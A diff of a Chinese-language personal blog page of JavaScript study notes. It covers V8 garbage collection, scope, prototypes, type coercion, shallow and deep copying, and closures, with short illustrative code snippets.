-console.log(abc)
-let a = Array.from(abc)
-console.log(a)
-let b = Array.prototype.concat.apply([], abc)
-console.log(b)
-let c = Array.prototype.slice.call(abc)
-console.log(c)
-</code></pre><p>数组扁平化（将一个多维数组转换为只有一层的数组）</p><p>通过递归实现，只要元素还是个数组，就进行递归操作</p><p>通过reduce函数迭代</p><p>通过扩展运算符实现</p><p>通过toString().split(&rsquo;,&rsquo;)实现</p><p>通过flat()方法实现</p><p>例如：</p><pre><code>let arr = [2,[3,5,6,10,[1,2,3],56,88],44,66]
-function arrData(arr){
-    return arr.flat(Infinity)
-}
-console.log(arrData(arr)) // [2, 3, 5, 6, 10, 1, 2, 3, 56, 88, 44, 66]
-</code></pre><p>通过JSON.stringify()和正则实现（先将数组转换为json字符串，然后通过正则(/([|])/g）过滤掉[]，得到的字符串再通过JSON.parst()转换回</p><p>v8引擎垃圾回收</p><p>基础类型使用栈内存（按值访问），可以使用操作系统进行处理，而引用类型的堆内存需要经常变化（使用引用内存地址访问），大小不固定，需要使用垃圾回收机制来处理</p><p>Sting和Number和Boolean和null和undefined和Symbol类型的变量将存储于栈内存，其他类型都存储于堆内存中</p><p>v8引擎的堆内存分为2类，新生代内存和老生代内存</p><p>在64位操作系统中，新生代内存空间为32MB</p><p>新生代中的变量经过一次Scavenge算法回收后，就可以被放入老生代内存中</p><p>Scavenge算法将新生代内存分为from-space和to-space两个区域</p><p>新生代内存中变量先存储在from-space区，存活的变量将转移到to-space区域，然后将那些在from-space区中不活跃的变量清除释放，执行完毕，再to-space和from-space互换</p><p>老生代内存垃圾回收机制，Mark-Sweep（标记清除）和Mark-Compact（标记整理）</p><p>Mark-Sweep（标记清除）：先遍历堆上所有对象，并且打上标记，在代码执行完成后，对使用过的变量进行标记取消，而且存在标记的变量就是没有使用过的变量，将这些变量进行垃圾回收</p><p>Mark-Compact（标记整理）：（解决标记清除机制的内存碎片化的影响）将内存空间往一端靠拢，直接清除边界外的内存</p><p>内存泄露：已经分配堆内存地址的对象长时间没有释放或者无法释放，造成内存长期占用，导致应用响应变慢或者崩溃的情况</p><p>内存泄露优化：减少全局变量，使用完定时器后及时清除定时器，避免死循环</p><p>将一个强引用类型赋值为null，并不会直接导致其被GC，而是解除其引用，方便下次GC能回收它</p><p>解决因闭包导致的内存泄露，在不使用一个闭包函数时，应该手动将其引用变量设置为null，解除引用</p><p>V8引擎执行JavaScript程序的阶段（因为v8使用了java虚拟机，c++编译器的技术，使JavaScript执行存在编译器）</p><p>Parse阶段：将JavaScript代码转换为AST（抽象语法树）</p><p>Ignition阶段：解释器将AST转换为字节码，然后解析执行字节码，并且提供编译所需要的信息</p><p>TurboFan阶段：编译器使用Ignition阶段的编译信息，将字节码转换为可执行的机器码</p><p>Orinoco阶段：垃圾回收阶段，将不使用的内存空间进行垃圾回收</p><p>生成AST有两个阶段，词法分析和语法分析</p><p>词法分析阶段会将JavaScript代码解析拆成不能再分的词法单元（token），直接忽略空格</p><p>语法分析阶段将词法单元转换为由元素逐级嵌套而成的语法结构树，这个树叫抽象语法树</p><hr><p>JavaScript借用方法（重用其他对象的方法和函数，无需从该对象继承）</p><p>例如一个类数组（类数组并没有数组的方法），借用数组的方法，通过call()，apply()和bind()方法实现</p><pre><code>let arrObj = {
-    0:'abc',
-    1: 'xyz',
-    2: 'hallo word',
-    length: 3
-}
-let arr1 = Array.prototype.join.bind(arrObj,',')
-let arr2 = Array.prototype.pop.call(arrObj)
-let arr3 = Array.prototype.push.apply(arrObj,['hhh'])
-console.log(arr1())
-console.log(arr2)
-console.log(arr3)
-console.log(arrObj)
-</code></pre><p>从Array.prototype可以看到这些方法是在类型的原型上定义的，当然其他自定义方法也是可以通过对象.方法的方式借用</p><p>通过字面量（Literals）实现</p><p>在JavaScript中，使用字面量可以代表值。它们是固定值，不是变量，就是在脚本中按字面给出的。</p><pre><code>let arrObj = {
-    0:'abc',
-    1: 'xyz',
-    2: 'hallo word',
-    length: 3
-}
-let arr1 = [].join.bind(arrObj,',')
-console.log(arr1())
-</code></pre><p>[]表示Array.prototype，还有&rsquo;&lsquo;表示stringObject</p><hr><p>createDocumentFragment && requestAnimationFrame渲染大量</p><p>document.createDocumentFragment()会返回一个DocumentFragment对象，这个对象是DOM节点，但又不是主DOM树的一部分，其是用于创建文档片段，文档片段在内存中，将元素插入文档片段不会导致回流，而且文档片段是直接附加在主DOM树上</p><p>window.requestAnimationFrame()，该方法会在浏览器的重绘之前执行一个回调函数</p><p>DocumentFragment对象是一个没有父对象的文档对象，DocumentFragment和document区别就是DocumentFragment不是真实DOM树的一部分，但是它可以挂载在真实DOM树上</p><p>实现渲染10000条div数据</p><pre><code>let count = 0
-function callback(){
-    const nums = 10000 // 一共插入10000条
-    const num = 100 // 一次插入100条
-    let loop = Math.ceil(nums / num) // 计算需要执行多少次
-    const app = document.querySelector(&quot;#app&quot;)
-    const data = 'hallo word'
-    const vmDOM = document.createDocumentFragment()
-    for (let i = 0; i &lt; num; i++) {
-        const div = document.createElement(&quot;div&quot;)
-        div.innerHTML = data
-        vmDOM.appendChild(div)
-    }
-    app.appendChild(vmDOM)
-    count++
-    if (count &lt; loop) {
-        window.requestAnimationFrame(callback)
-    }
-}
-callback()
-</code></pre><p>document.createDocumentFragment()和直接操作DOM，测试结果说明并不是每操作一次dom都会导致渲染，而且是将短时间的dom操作合并在一起，然后统一渲染，操作10000次DOM，并不会触发10000次渲染，而是在一定的时间内的多次操作合并成一次操作，并且在一定的时间内执行该操作，最后渲染，这得益于现代浏览器的优化</p><hr><p>Promise/A+规范</p><p>Promise有很多规范，ES6使用的就是Promise A+规范</p><p>Promise A+规范：</p><p>Promise是具备then方法的对象或者函数</p><p>Promise需要存在3个状态：等待态（pending），成功态（fulfilled），失败态（rejected）</p><p>并且Promise初始状态为等待（pending），在等待态（pending）状态时可以转为成功态（fulfilled）或者失败态（rejected）其中之一</p><p>当处于成功态（fulfilled）时，不能改变其状态，还需具备一个不可改变的返回值（value）</p><p>当处于失败态（rejected）时，也不能改变其状态，还需具备一个不可改变的返回原因（reason）</p><p>需要提供then()方法来返回成功的结果或者失败的原因（传入2个可选参数，onFulfilled和onRejected，如果是函数的话，会在Promise执行完毕后调用，如果不是函数的话会忽略，onFulfilled和onRejected都只能被调用一次）</p><p>当处于成功态（fulfilled）之后，执行onFulfilled，返回value，当处于失败态（rejected）之后，执行onRejected，返回reason</p><p>then()可在同一个Promise被多次调用，then()必须返回一个promise对象</p><p>手写Promise</p><hr><p>JavaScript引擎（例如v8）可以让JavaScript符合了一些编译语言的特点（词法分析/分词，语法分析/解析，编译转换）（虽然不是提前编译执行）</p><p>词法分析/分词(Tokenizing/Lexing)：将程序源代码分成一个个的词法单元（token），而词法分析就是将源代码转换为词法单元，具体通过符号表来确定是变量还是函数什么的</p><p>语法分析/解析：将词法单元流转换为抽象语法树（AST, Abstract Syntax Tree）,这个抽象树表示了整个程序的语法结构</p><p>注意：并不是词法分析器获取完全部的词法单元后在再进行语法分析的，而是先获取一个词法单元后直接进行语法分析</p><p>编译转换：将AST语法树转换为可执行的机器码（引擎可根据语法树一边编译一边执行）</p><p>一边编译一边执行有个缺点，当某段代码频繁执行时（例如函数）就会导致重复编译（提前编译的可以在执行前就是处理好），因此添加了一种叫JIT（Just-in-time，即时编译）</p><p>JIT在JavaScript引擎中添加了一个监视器，可观察运行的代码，并且记录每段代码的运行次数和变量的类型</p><p>当某段代码执行了多次，监视器就会给这段代码标识为Warm，如果是执行很多次的话，会标识为Hot</p><p>当某段代码被标识为Warm后，JIT将其发送给基线编译器（Baseline compiler）编译，并且将编译结果存储起来，并且以行号，变量类型作为索引，当执行了符合索引的代码时，直接执行之前编译的代码，不需要重复编译</p><p>当某段代码被标识为Hot后，JIT将其发送给优化编译器（Optimizing compiler）编译优化，是通过假设（根据概率模型）变量类型（当存在多个假设时（如果只有一个假设时，直接执行对应的编译结果），会在执行前进行类型检查，来证明假设，如果假设不成立，会导致反优化（将使用编译器或者基数编译器处理（假设多次失败实质比直接编译还慢，因此浏览器做出了限制，当出现多次优化失败时，会放弃处理这个）））</p><hr><p>作用域</p><p>作用域是一套可以根据名称来查找变量的规则（每个作用域负责管理自己地方的变量），当多重嵌套作用域时，会形成作用域链，在当前作用域中查找不到，会向上一级查找，一直查找到全局作用域，如果还是没有找到就是报错</p><p>LHS查询和RHS查询</p><p>LHS查询是获取变量的实质内存（赋值操作，例如let a = 123），RHS查询是获取变量的值（例如console.log(a)，这个就是RHS查询）</p><p>注意：函数传递参数也是LHS查询，只不过变量变成函数的参数而已，而且当作用域链找不到LHS查询的目标时，作用域会创建一个同名的变量到全局作用域中（隐式创建变量，前提是要在非严格模式中）</p><p>在作用域链中，当前作用域的RHS查询或者LHS查询任务完不成，是可以到上一级作用域中完成的</p><p>词法作用域</p><p>作用域有两种，词法作用域和动态作用域，在JavaScript中的作用域就是词法作用域，虽然JavaScript没有动态作用域，但是可以用this来实现相似的效果</p><p>词法作用域就是在词法分析/分词阶段的作用域，一般情况下词法作用域在定义后是不会改变的（有个例外是，欺骗词法作用域，例如利用eval或者with欺骗）</p><p>函数的词法作用域是由函数被定义时所处的位置决定，不会被函数如何调用，在哪调用而影响</p><p>由于作用域查找会在找到第一个目标时会停止的特性，在多重嵌套作用域环境下，其他和目标同名的会被遮蔽找不到，除了全局对象外（全局作用域下的变量会自动变成全局对象的属性（例如window.abc）,可以通过查找全局对象属性来访问到被遮蔽的变量），其他被遮蔽的无论如何都访问不了</p><p>欺骗词法作用域</p><p>eval()允许接收一个字符串作为其参数，并且执行，例如</p><pre><code>function abc(str,b){
-    eval(str)
-    console.log(a,b)
-}
-var a = 123
-abc(&quot;var a = 666&quot;,100) // 666 100
-</code></pre><p>这里利用eval()传递并且执行了"var a = 666"到abc()函数中，改变了该函数的词法作用域，同时遮蔽了全局作用域中的a变量，这个前提是在非严格模式中，因为在严格模式中eval()在运行时会拥有自己的作用域，导致无法修改其所在的作用域</p><p>with()可以扩展语句的作用域链（注意：在ES5严格模式中，with被完全禁用了）</p><pre><code>let abc ={
-    a: 123,
-    b: 666
-}
-with(abc){
-    a = 666
-    b = 123
-}
-</code></pre><p>with()可以将对象处理成词法作用域，在with内部中对象的属性也会变成这个词法作用域的词法标识符，从而改变原来的词法作用域，例如：</p><pre><code>let abc ={
-    a: 123,
-    b: 666
-}
-function xyz(obj){
-    with(obj){
-        a = 666
-        b = 123
-    }
-}
-xyz(abc)
-console.log(abc.a,abc.b)
-</code></pre><p>函数作用域（函数会为其创建一个它私有的作用域）</p><p>在函数中定义的变量将成为其词法作用域中的标识符，无法在外部作用域中获取，在多重嵌套作用域中，外部作用域定义的变量，可以在内部作用域访问，但是外部作用域无法访问内部作用域</p><p>函数作用域可以用于隐藏自身不影响外部，因此也可以避免污染外部环境（命名冲突）</p><p>IIFE（立即执行函数表达式）</p><p>由于正常的函数名也会污染外部环境，因此可使用IIFE解决，当不需要函数名时，这玩意很有用（就算有函数名也不会污染外部）</p><p>有两种编写方式，分别是(function abc(){})()和(function abc(){}())</p><pre><code>(function abc( funs ) {
-    let xyz = {
-        a: 123
-    }
-    funs(xyz)
-})(function funs(xyz) {
-    let a = 666
-    console.log(a)
-    console.log(xyz.a)
-})
-</code></pre><p>块作用域</p><p>在let出现之前，可以使用try/catch创建块作用域，其声明的变量只能在catch语句块中使用，例如：</p><pre><code>try{
-    throw undefined // 手动制造异常
-}catch(a){
-    a = 123
-    console.log(a)
-}
-console.log(a) // a is not defined
-</code></pre><p>let关键字可以将变量隐式绑定到其所在的块作用域中（{&mldr;}内部），只有其作用域内部可以访问，在外部访问会报错，使用let定义的变量是属于一个全新的作用域，而不是当前的函数作用域或者全局作用域，除let关键字外，还有const关键字也可以，只不过const定义的是常量，在定义后不能修改（修改导致报错）</p><hr><p>对象</p><p>对象可通过new Object()定义，也可以通过键值对来定义</p><pre><code>let obj = new Object()
-obj.key = &quot;hallo&quot;
-let obj1 = { key: &quot;hallo&quot;}
-</code></pre><p>注意：null不是对象，因为JavaScript会将二进制前三位为0的变量判断为object类型，而null的二进制表示全为0，因此使用typeof判断值为null的变量的类型，会返回object</p><p>000开头是对象，1开头是整数，010是浮点数，100是字符串，110是布尔</p><p>注意：基础类型并不是对象，例如"hallo word"是字符串字面量，并不能直接修改值或者访问属性，但是JavaScript会将字符串字面量自动转换为string对象，但是这并不代表基础类型就是对象，数值字面量也会被转换为number类型</p><p>对象是引用类型，这表示其真实的值存储中内存中，而对象内部存储的不过是指针引入，指向存储了该值的内存</p><p>数组对象，数组内部存储的位置是索引（整数）</p><p>注意：给数组添加属性，不要使用纯数字的属性名，因为当使用纯数字的属性名，JavaScript会将其认为是索引，从而认为其是添加一个新值，而不是添加一个属性</p><p>复制对象（深拷贝，浅拷贝）</p><p>对象属性描述符（es5之后属性拥有了属性描述符，例如writable（是否可以修改属性的值），enumerable（可枚举）和 configurable（可设置））</p><p>创建属性时属性描述符默认使用默认值</p><pre><code>let Obj = {}
-Object.defineProperty( Obj, &quot;key&quot;, { 
-    value: &quot;hallo word&quot;, 
-    writable: true, // 可修改属性值
-    configurable: true,  // 可重新通过Object.defineProperty设置属性描述符
-    enumerable: true // 可被属性枚举，例如for in语句，如果为false，那么该属性不会出现在属性枚举中，例如in操作枚举
-});
-</code></pre><p>因此可通过writable，configurable设置为false，来创建常量属性</p><p>设置对象不再可扩展新属性，可使用Object.preventExtensions()</p><pre><code>let obj1 = { key: &quot;hallo&quot;}
-Object.preventExtensions(obj1)
-obj1.nums = 666
-console.log(obj.nums) // undefined
-</code></pre><p>设置对象不再可扩展新属性并且不能修改现有属性的配置或者删除属性（可以修改属性值），可以使用Object.seal()</p><pre><code>let obj1 = { key: &quot;hallo&quot;}
-Object.seal(obj1)
-obj1.nums = 666
-console.log(obj.nums) // undefined
-</code></pre><p>当然也可以在Object.seal()基础上，禁止修改属性值，Object.freeze()</p><pre><code>let obj1 = { key: &quot;hallo&quot;}
-Object.freeze(obj1)
-obj1.key = &quot;hahaha&quot; // TypeError
-</code></pre><p>注意：在访问属性时，会在该对象中查找是否存在名字相同的属性，如果存在就返回该属性的值，如果没有找到就会触发原型链机制</p><p>在设置属性时，会检查是否存在描述符，检查是否设置（writable），如果不可设置，在非严格模式下静默失败，在严格模式中抛出typeerror异常错误</p><p>getter和setter</p><p>定义一个可获取属性值的方法（getter），定义一个可设置属性值的方法（setter）</p><pre><code>let obj1 = { 
-    key: &quot;hallo&quot;,
-    get a(){
-        return this.key
-    },
-    set b(abc){
-        this.key = abc
-    }
-}
-console.log(obj1.a) // hallo
-obj.b = &quot;hahaha&quot;
-console.log(obj1.a) // hahaha
-</code></pre><p>正确地判断属性是否存在，属性值可设置为undefined，并不一定是属性不存在导致返回的undefined,解决这种情况有2种方法，一个是通过in操作符（可通过原型链查找），另一个是通过Object.hasOwnProperty()，Object.hasOwnProperty()只检查该属性是否存在该对象中，例如：</p><pre><code>let obj1 = {
-    key: 123
-}
-(&quot;key&quot; in obj1)
-obj1.hasOwnProperty(&quot;key&quot;)
-</code></pre><p>注意：hasOwnProperty方法是object对象的内置方法，如果没有链接到object原型链上的对象，是不能使用该方法的，只能通过借用方法来使用该方法，例如：Object.prototype.hasOwnProperty. call(obj1,&ldquo;key&rdquo;)</p><p>检查该属性是否可枚举</p><pre><code>obj1.propertyIsEnumerable(&quot;key&quot;) // 返回布尔值，检查该属性是否直接存在于对象中（并不在原型链中，并且可枚举）
-Object.keys(obj1) // 返回数组，该数组的元素为该对象全部可枚举属性
-Object.getOwnPropertyNames(obj1) // 返回数组，该数组的元素为该对象属性，不管是否可枚举，并不会返回原型链的属性，只返回该对象中直接包含的属性
-</code></pre><p>遍历数组（forEach()，every()，some()）</p><p>forEach()遍历数组中全部值，并且忽略回调函数的返回值</p><p>every()运行到回调函数返回false</p><p>some()运行到回调函数返回true</p><p>for of()语句会向被遍历对象请求迭代器对象，然后通过迭代器对象的next()来遍历全部返回值</p><p>类，继承，实例化</p><p>类简单来说就是蓝图，而实例化就是根据蓝图建造出房子</p><p>继承是指一个子类继承了一个父类的特性（属性以及方法都被继承，当然也可以重写属性和方法），父类和子类不存在直接关系，而且父类和子类的构造函数可通过prototype联系到</p><p>方法的多态性（取决于在哪个类的实例使用它）</p><p>js并不支持多态，多态（或者理解为重载）实质上就是重写父类的方法，然后通过不同的类实例化，引用不同类的实例下的同名方法</p><p>在继承链中不同级别（子类，父类，祖先类）的同一个方法名可以被多次定义，调用的是哪个方法取决于是通过哪个类实例化出来的</p><p>原型</p><p>当获取一个对象的属性时，但是这个属性并不直接存在于该对象中时，就会访问对象的prototype链中，例如：</p><pre><code>let obj = {
-    a: &quot;hallo word&quot;,
-};
-let obj1 = Object.create(obj)
-console.log(obj1.a)
-</code></pre><p>上面例子中通过Object.create()创建来一个obj1.prototype可以连接到obj中的对象，哪怕obj1.a并没有在该对象中定义该属性，还是可以通过obj1.prototype获取到obj.a的属性值</p><p>原型链查找的终点是Object.prototype，如果还是没有找到就返回undefined</p><p>如果原型链底层中的对象存在原型链高层的相同属性名时，将会屏蔽高层的属性，因为原型链只获取最近的一个属性</p><hr><p>PWA，Progressive Web App（渐变式web应用），pwa技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能</p><p>pwa可通过Service Worker来进行下载，打开pwa应用后，</p><p>Service Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖于HTTPS通信</p><p>manifest.json：让web应用具备app的效果，例如logo，启动页面</p><hr><p>高阶函数（惰性函数/柯里化函数/compose组合函数）</p><p>Compose（组合函数）</p><p>组合函数顾名思义，就是将多个函数组合在一起，当一个函数的参数是另一个函数的返回值时，导致复杂的嵌套关系例如“funs(a(b(c)))”，而Compose可以做到调用函数的扁平化，例如：</p><pre><code>function compose(...funs){
-    return function(...abc){
-        if(funs.length === 0){
-        return funs
-        }
-        if(funs.length === 1){
-            return funs[0]
-        }
-        return funs.reduce(function(a,b){
-            console.log(a)
-            console.log(b)
-            if(typeof a === &quot;function&quot;){
-                return b(a(...abc))
-            }else{
-                return b(a)
-            }
-        })
-    }
-}
-function a(x){
-    return x + 100
-}
-function b(x){
-    return x * 100
-}
-function c(x){
-    return x - 100
-}
-function d(x){
-    return x / 100
-}
-function e(x){
-    return x % 100
-}
-let abc = compose(a,b,c,d,e)(1000)
-let xyz = compose(a)(1000)
-let hhh = compose(a,b)(1000)
-console.log(xyz)
-console.log(hhh)
-console.log(abc)
-console.log(a(b(c(d(e(1000)))))) //对比一下正确的答案
-</code></pre><p>惰性函数</p><p>柯里化函数</p><hr><p>class类的装饰器（Decorator）</p><hr><p>Set/Map/WeakSet/WeakMap</p><hr><p>Generator生成器和Interator迭代器</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/javascript/>JavaScript</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/63/><span class=title>« Prev</span><br><span>深入学习React</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/58/><span class=title>Next »</span><br><span>TypeScript学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+})</p><hr><hr><p>基础类型存储在栈内存中，在引用或者拷贝时，创建一个完全相等的变量</p><p>引用类型存储在堆内存中，存储的是内存地址，多个引用可以指向同一个地址（内存共享）（return会改变引用的地址）</p><p>类型检测</p><p>typeof（不能用来检测null类型，null不是object类型，另外object类型除了function可以检测出来外，其他都是objet，因此typeof可以检测基础类型以及function，其他类型就不适合了））</p><p>instanceof（不能正确判断基础数据类型，但是可以判断引用类型）</p><p>在不知道数据类型的情况下做数据类型判断，可以先用typeof abc !==&lsquo;object&rsquo; || abc !==null筛选出基础类型（null除外，如果是null直接返回null），如果是基础类型直接用typeof获取数据类型，如果不是再用instanceof判断引用类型</p><p>Object.prototype.toString（该方法可以返回某值的数据类型，返回值类型是字符串，格式统一为[object 数据类型]），如果不想要object，只要后面的数据类型，只需要将返回值进行正则一下就是可以了（replace(/^[object(\S+)]$/, &lsquo;$1&rsquo;)）</p><pre><code>function a(){
+    console.log(&quot;hallo&quot;)
+}
+let b = {
+    name: &quot;abc&quot;,
+    pass: &quot;123&quot;
+}
+let c = [1,3,5,7,9]
+let d = new a
+let e = 'hallo word'
+console.log(typeof a) // function
+console.log(typeof b) // object
+console.log(typeof c) // object
+console.log(a instanceof Function) // true
+console.log(b instanceof Object) // true
+console.log(c instanceof Array) // true
+console.log(d instanceof a) // true
+console.log(e instanceof String) // false
+console.log(Object.prototype.toString.call(null)) // [object Null]
+console.log(Object.prototype.toString.call(e)) // [object String]
+</code></pre><p>数据类型转换（显式类型转换（强制类型转换）和隐式类型转换（自动类型转换））</p><p>强制类型转换方法：Number()，Boolean()，String()，parselnt()，toString()，parseFloat()</p><p>Number()规则：如果值是布尔值，true转1，false转0。如果是整数，返回自身。如果是null，返回0。如果是undefined，返回NaN。如果是字符串，包含整数，转换为十进制，包含浮点格式，转换浮点数，空字符串为0，其他情况均为NaN。如果是Symbol，抛出错误，如果是对象，调用该方法，如果返回值为NaN，调用其对象的valueOf()方法</p><p>Boolean()规则：undefined，null，0，+0，-0，&rsquo;&rsquo;，false，NaN均为false，其他情况都为true</p><p>隐式类型转换</p><p>==：如果类型相同，不转换类型，如果有个值为null或者undefined，只有当另一个是null或者undefined，才返回true，否则都为false，如果有个值为Symbol类型，返回false。如果俩个值为Sting和Number类型，Sting类型的那个将转换为number类型，如果有值的类型为boolean，则转换为number，如果有值类型为object，另一个值为number，string或者symbol时，先将object转换为原始类型再判断</p><p>传说中的console.log(abc==1 && abc==2 && abc==3)，就是利用了==的隐式类型转换规则，这个abc实质上是个对象，==隐式类型转换如果是对象，会先尝试将其转换为基础类型，如果不行会调用其valueOf()方法，而且这个valueOf()方法就是定义其返回值的，并且通过this获取当前被调用的返回值</p><pre><code>let abc = {
+    value: 0,
+    valueOf: function(){
+        this.value++
+        return this.value
+    }
+}
+console.log(abc==1 &amp;&amp; abc==2 &amp;&amp; abc==3)
+</code></pre><p>+：加号被用于数值相加和字符串拼接，如果两边值都是字符串，则直接拼接字符串。如果有个是字符串，另一个是unll，Boolean类型或者undefined时，调用toString()方法（该方法的返回值为字符串类型的），然后再进行字符串拼接。如果有个是数值，另一个是number类型，则进行加法处理，如果另一个是null，undefined，boolean则转换为number类型再加法处理。如果一个是number类型，另一个是string类型，则将number类型那个转换为string类型，然后再字符串拼接</p><p>object隐式转换规则：如果有Symbol.toPrimitive()方法，则优先调用该返回再返回，如果没有该方法，并且object不能转为基础类型，则自动调用valueOf()方法，如果该方法返回了基础类型，则返回，如果还是不行则调有toString()方法（实质上就是返回其字符串），如果能转换为基础类型，则返回，如果还是没有返回基础类型，则抛出错误</p><hr><p>浅拷贝：如果是基础类型，拷贝的是基础类型的值，如果是引用类型，拷贝的是内存中的地址，如果改变该引用类型的值，会影响使用了该内存地址的全部引用类型的值</p><p>Object.assign()方法可以实现浅拷贝（不拷贝继承属性，不拷贝不可枚举属性，但是可以拷贝Symbol类型的对象）</p><p>对象的不可枚举属性通过enumerable: false设置</p><pre><code>let hallo = {}
+let hi = {
+    name: 'admin',
+    pass: 'abc123'
+}
+Object.assign(hallo,hi)
+console.log(hallo)
+hi.name = 'xiaochen'
+console.log(hallo)
+console.log(hi)
+</code></pre><p>扩展运算符(&mldr;abc)</p><pre><code>let hi = {
+    name: 'admin',
+    pass: 'abc123',
+    data: {
+        id: 1,
+        text: &quot;hallo word&quot;
+    }
+}
+let hallo = { ...hi }
+console.log(hallo)
+console.log(hi)
+hi.name = 'user'
+console.log(hallo)
+console.log(hi)
+hi.data.id = 10
+console.log(hallo)
+</code></pre><p>扩展运算符，只有单层对象属性或者数组时，是深拷贝，修改其属性，不会影响到其他使用该对象的属性，如果是一层以上的数据时，会变成浅拷贝，只能影响一层以上的数据，在一层的数据不受影响</p><p>concat()方法（可用于浅拷贝数组）</p><pre><code>let hallo = [2,4,5,6,7,8,9,12]
+let hi = hallo.concat()
+console.log(hallo)
+console.log(hi)
+hi[0] = 66
+console.log(hallo)
+console.log(hi)
+</code></pre><p>slice()方法（可用于浅拷贝数组）</p><pre><code>let hallo = [{data: 66},2,4,5,6,7,8,9]
+let hi = hallo.slice()
+console.log(hallo)
+console.log(hi)
+hi[0].data = 123
+console.log(hallo)
+console.log(hi)
+</code></pre><p>Object.assign()（将所有可枚举属性的值从原有对象拷贝到目标对象中）</p><pre><code>let obj = {
+    name: 'xiaochen',
+    pass: 'abc123',
+    data: {
+        id: 1,
+        text: &quot;hallo word&quot;
+    }
+}
+let obja = Object.assign({},obj)
+console.log(obja)
+</code></pre><p>该方法缺陷就是只能拷贝可枚举的属性， 好处就是Symbol类型的属性可以被拷贝</p><p>手写浅拷贝（通过传入目标对象参数，得到一个经过浅拷贝的对象）</p><pre><code>let obj = {
+    name: 'xiaochen',
+    pass: 'abc123',
+    data: {
+        id: 1,
+        text: &quot;hallo word&quot;
+    }
+}
+let objfu = (obj) =&gt;{
+    if(typeof obj ==='object' &amp;&amp; obj !== null){
+        // 使用typeof判断obj参数是否是对象，并且还不是null
+        let obja = Array.isArray(obj)?[]:{} // 使用Array.isArray()判断obj是否是数组（是数组返回true，否则返回false），这里是一个三元表达式（为true时返回[]，为false时返回{}）
+        for(let i in obj){ // in关键字遍历obj的属性（或者数组）
+            if(obj.hasOwnProperty(i)){ // hasOwnProperty方法可以判断该对象是否存在某个属性，存在则返回true，否则返回false
+                obja[i] = obj[i] // 判断存在后，将obj的属性拷贝到obja的属性中（浅拷贝），属性值和属性一一对应
+            }
+        }
+        return obja
+    }else{
+        return obj
+    }
+}
+console.log(objfu(obj))
+let hhh = objfu(obj)
+hhh.data.id =66
+console.log(objfu(obj))
+console.log(hhh)
+</code></pre><p>深拷贝：创建一个新对象，然后复制原有的对象的基本类型值，其完全是在堆内存中创建新的内存地址，不受原有的对象的改动影响</p><p>JSON.stringify()，通过生成一个json字符串，json字符串再转为新的对象</p><pre><code>let obj = {
+    name: 'xiaochen',
+    pass: 'abc123',
+    data: {
+        id: 1,
+        text: &quot;hallo word&quot;
+    }
+}
+let str = JSON.stringify(obj)
+let obja = JSON.parse(str)
+console.log(obja)
+obj.data.id = 66
+console.log(obja)
+console.log(obj)
+</code></pre><p>注意：如果对象中的值有函数，undefined，symbol类型，使用JSON.stringify()会导致json字符串中的这个键值对会消失，不能拷贝不可枚举属性，Data类型变成字符串，不能拷贝对象原型链，拷贝RegExp类型时会变成空对象，不能拷贝正则表达式，另外对象的属性值含有NaN，Infinity（Infinity表示无穷大），-Infinity（-Infinity表示负无穷大）时，JSON序列化后变成null，不能拷贝对象的循环应用（对象成环 ，obj[key] = obj）</p><p>手写递归深拷贝</p><pre><code>let obj = {
+    name: 'xiaochen',
+    pass: 'abc123',
+    data: {
+        id: 1,
+        text: &quot;hallo word&quot;
+    }
+}
+function objfu(obj) {
+    let obja = {}
+    for(let i in obj){
+        if(typeof obj[i] ==='object'){
+            obja[i] = objfu(obj[i])
+        }else{
+            obja[i] = obj[i]
+        }
+    }
+    return obja
+}
+let hhh = objfu(obj)
+obj.data.id = 123
+console.log(hhh)
+console.log(obj)
+</code></pre><p>这个手写递归，依然不能复制不可枚举属性和symbol类型，而且只能对一些普通对象有效，像函数之类就没有效果了</p><hr><p>原型链继承的缺点是原型链是内存共享的，一个发生改变，其他继承同一个的，都会发生改变</p><p>构造函数继承的缺点是只能继承父类的方法，属性，实例，不能继承原型的实例和方法</p><p>new关键词的作用：执行一个构造函数，并且返回一个实例对象，根据构造函数来确定是否可以接受参数的传递</p><p>new执行后必然返回一个对象，这个对象可以是实例对象，也可以是构造函数return返回的指定对象</p><p>手写new</p><pre><code>function _new(funs,...args){
+    if(typeof funs !=='function'){
+        throw &quot;no function&quot;
+    }
+    let obj = new Object()
+    obj.__proto__ = Object.create(funs.prototype)
+    let res = funs.apply(obj,...args)
+    let isObj = typeof res === 'object' &amp;&amp; typeof res !== null
+    let isFuns = typeof res === 'function'
+    return isObj || isFuns ? res:obj
+}                
+</code></pre><p>闭包：利用作用域链特性，访问局部变量</p><p>IIFE（立即执行函数）本身创建了闭包，保留了全局作用域和当前作用域</p><p>什么是闭包？例如：</p><pre><code>function abc(){
+    let a = 666
+    function xyz(){
+        console.log(a)
+    }
+    return xyz
+}
+let haha = abc()
+haha()
+</code></pre><p>可以看到函数abc的返回值是xyz函数，变量haha被赋值abc函数，并且调用了xyz函数，神奇的获取到变量a的值</p><p>关键点：xyz可以访问abc的作用域。在执行完毕abc函数，作用域并没有被销毁，而在垃圾回收中，只有被使用才不会被回收，在这里abc函数的作用域被xyz函数所使用，而且haha被调用时，执行的就是xyz函数，得到abc函数的整个定义时的词法作用域</p><p>简单的说就是，利用作用域链（这个特指函数作用域，函数作用域具备遮蔽性），内部作用域可以获取外部作用域的变量，只有当内部作用域拥有访问整个外部作用域时，内部作用域在某个时刻被调用了，自然可以访问到外部的定义时的词法作用域，利用这个特性，内部作用域只要能在定义时词法作用域之外的地方调用，就可以实现闭包，从而访问外部定义时的词法作用域</p><p>除了通过返回值外，还可以在定义时调用外部函数，外部函数再调用具备外部词法作用域访问能力的内部函数，也可以访问到这个定义时词法作用域，例如：</p><pre><code>function abc(){
+    let a = 666
+    function xyz(){
+        console.log(a)
+    }
+    haha(xyz)
+}
+function haha(funs){
+    funs()
+}
+abc()
